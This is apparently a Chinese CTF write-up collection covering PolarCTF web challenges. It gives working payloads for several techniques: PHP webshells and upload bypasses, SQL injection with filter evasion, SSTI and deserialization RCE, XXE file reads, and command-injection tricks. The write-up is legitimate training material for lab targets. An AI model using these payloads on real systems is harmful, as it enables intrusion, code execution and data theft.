document .getElementById ("change-bg-btn" ).onclick = function ( ) { fetch ("change_background.php" , { method : "POST" , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' , }, body : new URLSearchParams ({ d : "echo" , p : "I will do it!" }) }) .then (response => response.text ()) .then (text => { const lines = text.split ('\n' ); const background = lines[0 ]; const message = lines.slice (1 ).join ('\n' ); document .body .style .backgroundImage = `url(${background} )` ; document .getElementById ("result" ).innerText = message;
d=ls&p=/ /flag d=cat&p=/flag
flag{cc59f02fd69119d043f8b06d0ab3eb3f}
中等 到底给不给flag呢(foreach配合$$变量覆盖) <?php highlight_file ('1.txt' );echo "<br><br>" ;$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}' ;$qwq = '我想要flag' ;$QAQ = '我又不想要flag了,滚吧' ;if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($qwq ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($QAQ ); } foreach ($_POST as $key => $value ) { $$key = $value ; } foreach ($_GET as $key => $value ) { $$key = $$value ; } echo $flag ;
这里主要注意的是foreach函数用法,由于遍历数组中元素,先GET传参c=flag&flag=c
。这样被解析之后,就是$c=$flag&$flag=$c
,就能输出flag,传参后拉到最下面获得flag
foreach()
配合$$
是个典型的变量覆盖漏洞,使用foreach()
来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。例如传入abc=def
,就会变成$abc=$def
因此解题关键为定义一个变量来保存原来$flag
的内容
再让$flag
=存储内容的变量名
abc=flag&flag=abc
会被解释为$abc=$flag&$flag=$abc
你的马呢?(文件上传) 随便上传一个图片文件,发现是可以上传的,并且是后缀加路径
法一:apache双后缀绕检查 注意,这里经过尝试,对文件内的php进行检测,因此文件内容如下,并且后缀为php.jpg
GIF89a <?=eval($_POST[123]);?>
然后直接访问蚁剑连接就好
法二:伪协议包含 上传a.jpg
如下
<?php eval($_POST[123]);?> base64编码得到 PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=
在初页面利用文件包含,注意要decode
才能解析
file=php://filter/read=convert.base64-decode/resource=a.jpg
csdn(file伪协议) 直接查看源码,提示在flag目录下flag.txt中,因此直接伪协议文件包含就行
找找shell(混淆webshell) 在shell.txt中是一个经过混淆的shell代码,因此利用反向解密脚本可得最后的连接密码,蚁剑连接即可
import base64 import urllib.parse O00OO0 = urllib.parse.unquote ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" ) print ("解码后的字符串:" , O00OO0)O00O0O = O00OO0[3 ] + O00OO0[6 ] + O00OO0[33 ] + O00OO0[30 ] O0OO00 = O00OO0[33 ] + O00OO0[10 ] + O00OO0[24 ] + O00OO0[10 ] + O00OO0[24 ] OO0O00 = O0OO00[0 ] + O00OO0[18 ] + O00OO0[3 ] + O0OO00[0 ] + O0OO00[1 ] + O00OO0[24 ] OO0000 = O00OO0[7 ] + O00OO0[13 ] O00O0O += O00OO0[22 ] + O00OO0[36 ] + O00OO0[29 ] + O00OO0[26 ] + O00OO0[30 ] + O00OO0[32 ] + O00OO0[35 ] + O00OO0[26 ] + O00OO0[30 ] print ("变量 $O00O0O :" , O00O0O)print ("变量 $O0OO00 :" , O0OO00)print ("变量 $OO0O00 :" , OO0O00)print ("变量 $OO0000 :" , OO0000)base64_string_php = "JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=" decoded_string_php = base64.b64decode (base64_string_php).decode ('utf-8' ) print ("解码后的 Base64 字符串:" , decoded_string_php)replaced_string_php = decoded_string_php.replace ('$O00O0O' , O00O0O).replace ('$O0OO00' , O0OO00).replace ('$OO0O00' , OO0O00).replace ('$OO0000' , OO0000) print ("替换变量后的字符串:" , replaced_string_php)base64_str = "bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==" part1 = base64_str[:52 ] part2 = base64_str[52 :104 ] part3 = base64_str[104 :] replace_map = str.maketrans (part2, part1) replaced_str = part3.translate (replace_map) decoded_str = base64.b64decode (replaced_str).decode ('utf-8' ) print ("\n解码后的 PHP 代码:" )print (decoded_str)
所以直接访问shell.php
,然后蚁剑连接就行
代码审计1(php原生类的寻找和利用) <?php highlight_file (__FILE__ );include ('flag.php' );$sys = $_GET ['sys' ];if (preg_match ("|flag|" , $xsx )) { die ("flag is no here!" ); } else { $xsx = $_GET ['xsx' ]; echo new $sys ($xsx ); }
sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php
随机值(pop反序列化) <?php include "flag.php" ;class Index { private $Polar1 ; private $Polar2 ; protected $Night ; protected $Light ; function getflag ($flag ) { $Polar2 = rand (0 ,100 ); if ($this ->Polar1 === $this ->Polar2){ $Light = rand (0 ,100 ); if ($this ->Night === $this ->Light){ echo $flag ; } } else { echo "Your wrong!!!" ; } } } if (isset ($_GET ['sys' ])){ $a = unserialize ($_GET ['sys' ]); $a ->getflag ($flag ); } else { highlight_file ("index.php" ); } ?>
我们需要反序列化一个Index类并且让里面的$Polar1
和$Night
赋值为一个随机数。按照概率来讲,只要用bp发包10000次就可以获得flag了。但是我们直接把$Polar2
和$Light
一起改了就可以了
sys=O:5:"Index":4:{s:13:"%00Index%00Polar1";i:5;s:13:"%00Index%00Polar2";i:5;s:8:"%00*%00Night";i:5;s:8:"%00*%00Light";i:5;}
phpurl(php特性) 先看给的文件
在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。 //base64解密后得到index.phps
访问index.phps
得到源码
<?php if ("xxs" ===$_GET [sys]) { echo ("<p>Not a good idea!</p>" ); exit (); } $_GET [sys] = urldecode ($_GET [sys]);if ($_GET [sys] == "xxs" ){ echo "<p>Welcome to polar LABS!</p>" ; echo "<p>Flag: XXXXXXX </p>" ; } ?>
通过二次url编码来绕过条件获得flag
sys=%25%37%38%25%37%38%25%37%33
search(sql注入) 进去就看到输入框,随便输一个1‘
就报错,尝试sql注入
query=1' //为单引号注入 query=1'# //正常回显 query=1' order by 3# //失败回显,尝试绕过空格 query=1'/**/order/**/by/**/3# //正常回显 query=1'/**/order/**/by/**/6# //列数不匹配回显,列数为5 query=1'/**/union/**/select/**/1,2,3,4,5# //失败回显,猜测过滤 query=select //不报错 query=union //失败回显 query=-1'/**/Union/**/select/**/1,2,3,4,5# //回显2,3 query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),4,5# //失败回显,猜测过滤 query=-1'/**/Union/**/select/**/1,(database()),(3),4,5# //回显CTF,猜测过滤 query=information //不报错 query=group //不报错 query=where //失败回显 query=Where //不报错 query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //报错,测出来from也被过滤了 query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //回显Flag,Students query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5#query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //这里如果查找flag会失败,所以还过滤了flag,只不过由于列名就是Flag,所以直接查找就行,回显Flag query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(Flag)/**/From/**/Flag),4,5# //回显flag{Polar_CTF_426891370wxbglbnfwaq}
Dragon(信息搜集) 打开之后还是一个输入框,但是尝试sql注入没用,传参后源码可以看到最后有个欢迎 (id传参内容)
。。。。看了下响应,flag就在cookie中(眼瞎之前没看到)
wu(极限rce取反) <?php highlight_file (__FILE__ );$a = $_GET ['a' ];if (preg_match ("/[A-Za-z0-9]+/" ,$a )){ die ("no!" ); } @eval ($a ); ?>
发现全部数字字母都被过滤了,用取反脚本就行
<?php $a = "system" ;$b = "cat zheshiflag.php" ;$c =urlencode (~$a );$d =urlencode (~$b );echo "(~$c )((~$d ));" ;
a=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F));
写shell(绕过exit()函数) <?php highlight_file (__FILE__ );file_put_contents ($_GET ['filename' ],"<?php exit();" .$_POST ['content' ]);?>
参考web87 ,因此直接用base64编码或者root编码都行,但是注意base64编码要补一个字节
GET:filename=php://filter/write=convert.base64-decode/resource=shell.php POST:content=aPD9waHAgZXZhbCgiJF9QT1NUWzEyM10iKTs/Pg==(第一个a为补的字节) 或者 GET:filename=php://filter/write=string.rot13/resource=1.php POST:content=<?cuc riny("$_CBFG[123]");?> //源代码中
某函数的复仇 <?php highlight_file (__FILE__ );if (isset ($_POST ['shaw' ])){ $shaw = $_POST ['shaw' ]; $root = $_GET ['root' ]; if (preg_match ('/^[a-z_]*$/isD' ,$shaw )){ if (!preg_match ('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i' ,$root )){ $shaw ('' ,$root ); }else { echo "Almost there^^" ; } } } ?>
首先正则是匹配字母和_
,修饰符i
表示不区分大小写;s
表示使点号(.)
匹配所有字符,包括换行符;D
表示强制$
仅匹配目标字符串的末尾(无D时$
也会匹配字符串末尾的换行符前)
注意到$shaw('',$root);
,第一个参数为空,那么很明显是create_function()
参考create_function()代码注入 - ctrl_TT豆 - 博客园
总结来说就是闭合隔开之后通过create_function
内置的eval
执行命令
GET:root=;}system("ls");/* POST:shaw=create_function
注意,这里的}
实际闭合的是函数中的大括号,如下
<?php function lambda1 ( ) { return ;} system ("ls" );
flag{10be676ceed9b00b1c286de949790c37}
xxe 参考vulhub/php/php_xxe/README.md 在 master ·VulHub/VulHub
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php" > ]><root > <name > &xxe; </name > </root >
访问simplexml_load_string.php
时带上以上exp,即可实现任意文件读取
flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}
SSTI 正常SSTI
name={{7*7}} 方法一:lipsum子类 name={{lipsum.__globals__['os'].popen("ls /").read()}} name={{lipsum.__globals__['os'].popen("tac /f*").read()}} 方法二:正常打。注意这里子类要在源码才能看到,要被渲染 name={{%27%27.__class__.__mro__[1].__subclasses__()[280].__init__.__globals__['popen']('tac /f*').read()}}
flag{74da457f9884bef24f271e377334399a}
unpickle import pickleimport base64from flask import Flask, requestapp = Flask(__name__) @app.route("/" ) def index (): try : user = base64.b64decode(request.cookies.get('user' )) user = pickle.loads(user) return user except : username = "Guest" return "Hello %s" % username if __name__ == "__main__" : app.run(host="0.0.0.0" , port=8080 )
一个python的pickle反序列化,但是是从cookie打进去,exp如下
import requestsimport pickleimport base64 class exp (object ): def __reduce__ (self ): return eval , ("open('/flag','r').read()" , ) e=exp() exp = pickle.dumps(e) user_b64 = base64.b64encode(exp).decode() print (user_b64)
添加Cookie:user=gASVNAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwYb3BlbignL2ZsYWcnLCdyJykucmVhZCgplIWUUpQu
访问获得flag
flag{1cd20c1dbbed0fc7ab481b44006d469f}
BlackMagic 访问后注释找到源码
extract ($_REQUEST ); $strCharList = "\r\n\0\x0B " ; $strFlag = "\r xxxxx...xxxxx \n" ; if (isset ($strTmp )) { $strContent = trim ($strFlag , $strCharList ); if ($strTmp == $strContent ) { echo "flag{xxx...xxx}" ; } else { echo "You're awesome, but not enough." ; } } else { echo "I will never tell you the flag is inside!" ; }
本地跑下看下结果字符(主要这里有个不可见的制表符,所以直接输出url编码后结果)
<?php $strCharList = "\r\n\0\x0B " ;$strFlag = "\r xxxxx...xxxxx \n" ;$strContent = trim ($strFlag , $strCharList );echo urlencode ($strContent );
GET:strTmp=%09xxxxx...xxxxx%09
flag{ab8aff2d0104e4f883a57880b260b761}
反序列化 <?php highlight_file (__FILE__ );class example { public $handle ; function __destruct ( ) { $this ->funnnn (); } function funnnn ( ) { $this ->handle->close (); } } class process { public $pid ; function close ( ) { eval ($this ->pid); } } if (isset ($_GET ['data' ])){ $user_data =unserialize ($_GET ['data' ]); } ?>
很短的链子
process::close()->example::handle()->exaple::funnnn()
<?php class example { public $handle ; } class process { public $pid ; } $a =new example ();$a ->handle=new process ();$a ->handle->pid='system("ls");' ;echo serialize ($a );
data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system("ls");";}} data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:27:"system("ls /var/www/html");";}} data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system("tac /var/www/html/flag.php");";}}
flag{3c8000f924a1ed58a12a91759ecab3f0}
再来ping一波啊 分隔后变量拼接读取index.php
GET:ip=;a=ind;b=ex;ca\t$IFS$9$a$b.php
获得源码如下
<?php $flag = 'flag{ae5eb824ef87499f644c3f11a7176157}' ; if (isset ($_GET ['ip' ])){ $ip = $_GET ['ip' ]; if (preg_match ("/\&|\/|\?|\*|\<|\>|`|\\|\(|\)|\[|\]|\{|\}/" , $ip , $match )){ print_r ($match ); print ($ip ); echo "<pre>" ; echo preg_match ("/\&|\/|\?|\*|\<|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" , $ip , $match ); die ("fxck your symbol!" ); } else if (preg_match ("/ /" , $ip )){ die ("空格我可没加难度这可真是复习,/斜眼笑" ); } else if (preg_match ("/bash/" , $ip )){ die ("Bash is not allowed" ); } else if (preg_match ("/ls/" , $ip )){ die ("我很抱歉,其实你得再研究研究" ); } else if (preg_match ("/cat|tac|sort|head|tail|more|less/" , $ip )){ die ("常用的读取命令肯定不行,你要是想出绕过的也算你厉害。但过滤机制是改了的-。-,你再研究研究?" ); } else if (preg_match ("/rm/" , $ip )){ die ("你要搞我???" ); } else if (preg_match ("/index/" ,$ip )){ die ("那能让你直接读?" ); } $a = system ("ping -c 4 " .$ip ); echo "<pre>" ; print_r ($a ); } ?>
flag{ae5eb824ef87499f644c3f11a7176157}
ezphp 根据提示访问robots.txt
,在file
下找到file.php
如下
<?php highlight_file ('file.php' );$filename = $_GET ['filename' ];@include $filename ; ?>
还有一个上传路径为uploads/upload.php
,那就是先上传再包含,上传路径没给,可以自己找到
../uploads/images/1.jpg
GET:filename=../uploads/images/1.jpg POST:123=system("find / -name 'flag'"); ///home/webuser/flag
其实这里也可以用grep
,但是不知道为啥用了卡死了,估计数据比较多,123=system("grep -r 'flag{' /");
flag{a6e667c3194c7a60f7491d4c7e5b1161}
PlayGame <?php class User { public $name ; public $age ; public $sex ; public function __toString ( ) { return "name:" .$this ->name."age:" .$this ->age."sex:" .$this ->sex; } public function setName ($name ) { $this ->name=$name ; } public function setAge ($age ) { $this ->$age =$age ; } public function setSex ($sex ) { $this ->$sex =$sex ; } } class PlayGame { public $user ; public $gameFile ="./game" ; public function openGame ( ) { return file_get_contents ($this ->gameFile); } public function __destruct ( ) { echo $this ->user->name."GameOver!" ; } public function __toString ( ) { return $this ->user->name."PlayGame " . $this ->user->age . $this ->openGame (); } } if (isset ($_GET ['polar_flag.flag' ])){ unserialize ($_GET ['polar_flag.flag' ]); }else { highlight_file (__FILE__ ); }
链子如下
PlayGame::openGame->PlayGame::__toString->User::__toString->PlayGame::__destruct
exp如下
<?php class User { public $name ; public $age ; public $sex ; } class PlayGame { public $user ; public $gameFile ="/flag" ; } $a =new PlayGame ();$a ->user=new User ();$a ->user->name=new PlayGame ();echo serialize ($a );
注意这里要用[
来代替_
,常见姿势
GET:polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:5:"/flag";}
源码找到flag
flag{bcbad1a16895974105e8450b8a7b5bf2}
file 先扫目录发现上传页面,正常传马,这里没有回显路径,扫目录时找到路径为/uploaded/
,环境变量找到flag
。。。。。。这也是错的,真的flag在/flag
下
POST:123=system("cat /flag");
flag{c99d5a15c74c9oc4a689b58b89ec978e}
tnl 以为是sql尝试无果,看wp发现就是伪协议读取。。。。。。
POST:twothree=php://filter/read=convert.base64-encode/resource=index
<?php error_reporting (0 );@$file = $_POST ['twothree' ]; if (isset ($file )){ if ( strpos ( $file , "1" ) !== false || strpos ( $file , "2" ) !== false || strpos ( $file , "index" )){ include ($file . '.php' ); } else { echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1" ; } } ?>
POST:twothree=php://filter/read=convert.base64-encode/index/resource=flag
flag{29dba9019e40d75a5053b15f4f2906e1}
你知道sys还能这样玩吗 进环境就是403,根据题目提示访问sys.php
,其实真没想到,看的WP
<?php show_source (__FILE__ );if (isset ($_POST ['cmd' ])){ echo "<pre>" ; $cmd = $_POST ['cmd' ]; if (!preg_match ('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i' , $cmd )) { $output = system ($cmd ); echo $output ; } echo "</pre>" ; } ?>
法一:反斜杠绕过 直接反斜杠绕过关键词就行,注意这里还过滤了点号,中括号通配符匹配就行。这里的[^a]
表示除a外的任意字符,可以匹配.
cmd=l\s / cmd=ca\t /fla\g[^a]txt
flag{196b0f14eba66e10fba74dbf9e99c22f}
法二:变量拼接 cmd=a=ca;b=t;c=fla;d=g[^a]txt;$a$b /$c$d
法三:php -r执行命令 cmd=php -r 'system(hex2bin("636174202f666c61672e747874"));' //十六进制绕过,php -r表示执行单行代码,里面的命令为cat /flag.txt cmd=php -r 'system(hex2bin(ff3b636174202f666c61672e747874));' //较上面的命令不用单引号了,由于第一个命令转十六进制以数字开头,php会将其作为数字而不是字符串,而第二个命令中的ff转十六进制后仍为ff,不影响
法四:printf和双引号结合base64绕过 cmd=`printf "Y2F0IC9mbGFnLnR4dA=="|bas""e64 -d` //反引号执行命令,内部命令为cat /flag.txt,base64解码后输出,base关键字用双引号隔开
但是这个命令本地能打通,题目环境出不来
法五:八进制转换 cmd=$%27\143\141\164%27%3c$%27\57\146\154\141\147\56\164\170\164%27 //原始为cmd=$'cat'<$'/flag.txt',等效于cat < /flag.txt
ExX? 扫目录发现/dom.php
,结合题目猜测是xxe,直接上payload
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php" > ]><root > <name > &xxe; </name > </root >
flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}
EZ_Host 根据题目提示直接GET传参,尝试后不出网。分号隔开直接命令执行
GET:host=127.0.0.1;tac flag
flag{this_is_your_flagggg!!!}
传马 上传jpg文件抓包改后缀后直接上传就行,路径为upload/1.php
蚁剑连接根目录找到flag
flag{420F9CED0C3E6CE65A90817A65197A09}
笑傲上传 找到了上传区和包含区,那随便上传个文件包含就行
直接上传jpg还不行,要加上GIF89a
文件头上传成功,上传后在源码找到路径
包含区源码如下
<?php header ("Content-Type:text/html;charset=utf-8" );$file = $_GET ['file' ];if (isset ($file )){ include $file ; }else { show_source (__file__); } ?>
GET:file=./upload/2920250602082641.gif POST:123=system("tac /flag.txt");
flag{dfbb09ce0b4ae994b2a8249b810ea22d}
序列一下 <?php class Polar { public $url = 'polarctf.com' ; public $lt ; public $b ; function __destruct ( ) { $a = $this ->lt; $a ($this ->b); } } unserialize ($_POST ['x' ]);highlight_file (__FILE__ );?>
$a($this->b);
看到这个,所以肯定是要通过命令执行来rce了,exp如下
<?php class Polar { public $url = 'polarctf.com' ; public $lt ; public $b ; } $a =new Polar ();$a ->lt='system' ;$a ->b='ls' ;echo serialize ($a );
x=O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:2:"ls";} x=O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:4:"ls /";} x=O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:7:"tac /f*";}
flag{425d24d5f338640619b0760a358bdf9f}
坏掉的上传页 进去发现不能正常上传文件,源码为
<form class ="form" > <div id ="upload_panel" > <h3 > 图片资源上传系统</h3 > <p > 上传你的图片到服务器</p > <h3 > 上传区</h3 > <form enctype ="multipart/form-data" method ="post" onsubmit ="return checkFile()" > <p > 请选择要上传的图片: <p > <div class ="file-upload" > <button > 浏览...</button > 未选择文件 </div > <input class ="button" type ="button" name ="submit" value ="上传" /> </form > </form >
通过自创html上传php文件
<!DOCTYPE html > <html > <body > <form action ="http://52626aef-c8b9-4d34-9db3-4028c10f72a3.www.polarctf.com:8090/" method ="POST" enctype ="multipart/form-data" > <input type ="file" name ="file" /> <input type ="submit" value ="submit" /> </form > </body > </html >
扫目录得到/config.php
,直接访问得知路径在database.db
中,找到路径/uploadsabc/file_683d678b405002.59772896.php
后蚁剑连接即可找到flag
flag{73b974596dc61737dbe1d52ec2e84433}
xxmmll 非预期 其实扫目录得到docker配置文件就可以看到flag了
flag{ce22bbe170d234645361239b395dbc5d}
预期
响应头中找到这个文件xxmmll.php
,输入如下获得flag
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" > ]><root > <name > &xxe; </name > </root >
Note 提示调试目录,那就先扫下目录
非预期 扫到flag.txt
文件访问秒了
flag{4596b24ab4ffcaf5472e9db97d21a3a1}
预期 看debug.log
,发现提示unserialize(data) might be insecure if data is user-controlled.
,尝试序列化数据
然后没思路,去看了看官方wp,只能说有点神经
<?php class Note { private $filename ; private $content ; } $note = new Note ();$reflection = new ReflectionClass ($note );$filenameProperty = $reflection ->getProperty ('filename' );$filenameProperty ->setAccessible (true );$filenameProperty ->setValue ($note , 'flag.txt' );echo serialize ($note );?>
GET:data=O:4:"Note":2:{s:14:"Notefilename";s:8:"flag.txt";s:13:"Notecontent";N;}
赌王 要摇,感觉是随机,抓包爆破试试
访问/ed3d2c21991e3bef5e069713af9fa6ca
不能打开,带上php后缀访问,输入框中尝试xss,<script>alert(1)</script>
提示用confirm
,<script>confirm(1)</script>
得到下一个路径e744f91c29ec99f0e662c9177946c627
,访问e744f91c29ec99f0e662c9177946c627.php
,一眼命令执行,但是提示权限不足,源码发现提示
GET:input=1;cat e744f91c29ec99f0e662c9177946c627.php X-Forwarded-For:1.1.1.1
该页面源码为
<?php if (isset ($_GET ['input' ])) { $input = $_GET ['input' ]; function real_ip ( ) { $ip = $_SERVER ['REMOTE_ADDR' ]; if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ]) && preg_match_all ('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s' , $_SERVER ['HTTP_X_FORWARDED_FOR' ], $matches )) { foreach ($matches [0 ] AS $xip ) { if (!preg_match ('#^(10|172\.16|192\.168)\.#' , $xip )) { $ip = $xip ; break ; } } } elseif (isset ($_SERVER ['HTTP_CLIENT_IP' ]) && preg_match ('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/' , $_SERVER ['HTTP_CLIENT_IP' ])) { $ip = $_SERVER ['HTTP_CLIENT_IP' ]; } elseif (isset ($_SERVER ['HTTP_CF_CONNECTING_IP' ]) && preg_match ('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/' , $_SERVER ['HTTP_CF_CONNECTING_IP' ])) { $ip = $_SERVER ['HTTP_CF_CONNECTING_IP' ]; } elseif (isset ($_SERVER ['HTTP_X_REAL_IP' ]) && preg_match ('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/' , $_SERVER ['HTTP_X_REAL_IP' ])) { $ip = $_SERVER ['HTTP_X_REAL_IP' ]; } return $ip ; } $a =real_ip (); if ($a === '1.1.1.1' ) { $output = shell_exec ($input ); echo "<pre>$output </pre>" ; } else { die ("权限不足!" ); } } ?>
既然这样可以不带着;
访问了,直接在根目录找到flag
flag{fae0b27c451c728867a567e8c1bb4e53}
xCsMsD 随便注册登录后发现xss和rce,但是直接rce不行,先打xss
输入alert('xss')
有正常弹窗,重新用alert(document.cookie)
弹下cookie
为cookie=%27+%27-%3E%27-%27%2C+%27%5C%27-%3E%27%2F%27
因此估计rce中有替换,将+
替换为-
,\
替换为/
即可,而且估计这里的+
代指的空格(其实看wp这里的cookie中就是空格的,估计自动替换为+了)
POST:command_input=tac-\flag&execute_command=
flag{e9964d01bda263f9aa86e69ce5bdfb47}
扒了个源码如下
<?php if (isset ($_POST ['execute_xss' ])) { $xss_code = $_POST ['xss_input' ]; echo "<script>$xss_code </script>" ; } ?> <div class ="flip -card__back "> <!-- 命令执行窗口 --> <div class ="title ">命令执行窗口</div > <form method ="POST " action ="xss_cmd .php "> <input type ="text " name ="command_input " placeholder ="输入命令"> <button type ="submit " name ="execute_command ">执行命令</button > </form > </div > <?php // 命令执行部分 if (isset ($_POST ['execute_command '])) { $command = $_POST ['command_input' ]; $command = str_replace (' ' , '' , $command ); $command = str_replace ('/' , '' , $command ); $command = str_replace ('-' , ' ' , $command ); $command = str_replace ('\\' , '/' , $command ); $forbidden_commands = ['cat' , 'less' , 'more' , 'head' , 'tail' , 'nl' , 'strings' , 'awk' , 'sed' , 'dd' , 'xxd' ]; foreach ($forbidden_commands as $forbidden ) { if (preg_match ("/\b$forbidden \b/i" , $command )) { die ("禁止使用此命令: $forbidden " ); } } $command = escapeshellcmd ($command ); $output = shell_exec ($command ); echo "<pre>$output </pre>" ; } ?>
困难 PHP是世界上最好的语言(php特性) <?php highlight_file (__FILE__ );include ("flag.php" );$c =$_POST ['sys' ];$key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['flag1' ]) || isset ($_GET ['flag2' ]) || isset ($_POST ['flag1' ]) || isset ($_POST ['flag2' ])) { die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]); extract ($_POST ); if ($flag1 == '8gen1' && $flag2 == '8gen1' ) { if (isset ($_POST ['504_SYS.COM' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/" , $c )){ eval ("$c " ); } } } ?>
先用fuzz测试下哪些字符未被过滤
<?php for ($i =32 ;$i <=126 ;$i ++) { if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/" ,chr ($i ))) { echo chr ($i ); } } ?>
因此使用变量覆盖
GET:_POST[flag1]=8gen1&_POST[flag2]=8gen1 POST:504[SYS.COM=111&sys=echo $flag; 注:在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。
注入(XPATH注入) 尝试sql注入和ssti注入
id=1 //0: Alan id=2 //0: Bob id=2-1 //无回显,即为字符型
但是这里试了很久都没结果,看了wp才知道是XPATH注入,尝试XPATH注入万能密码?id=']|//\*|//\*['
,注入传参时要传入未被url编码的
上传(文件上传)
不允许php文件上传,php2、php5、以及phtml也都被过滤了
文件内容处过滤了<?、file
针对以上的过滤,可以采取.users.ini
和.htacess
文件进行绕过,.user.ini使用成功的前提是服务器开启了CGI
或者``FastCGI,并且上传文件的存储路径下有index.php可执行文件,由于该路径下不存在
index.php文件,所以这题使用
.htacess`文件进行绕过
.htaccess
如下
AddType application/x-httpd-php .jpg php_value auto_append_fi\ le "php://filter/convert.base64-decode/resource=1.jpg"
上述的内容中存在file会被过滤掉,可以采取\反斜杠+换行的方式绕过
为什么需要解码???,是为了绕过被过滤的<?
上传后再上传base64编码后的1.jpg
文件,内容如下
PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=
任务cmd(命令执行) 进去看到源码注释有东西(其实并没用),扫目录找到/new/file/upload.php
根据题目要求用cmd执行命令即可
坦诚相见(过滤/) ls
然后cat no*
获得源码
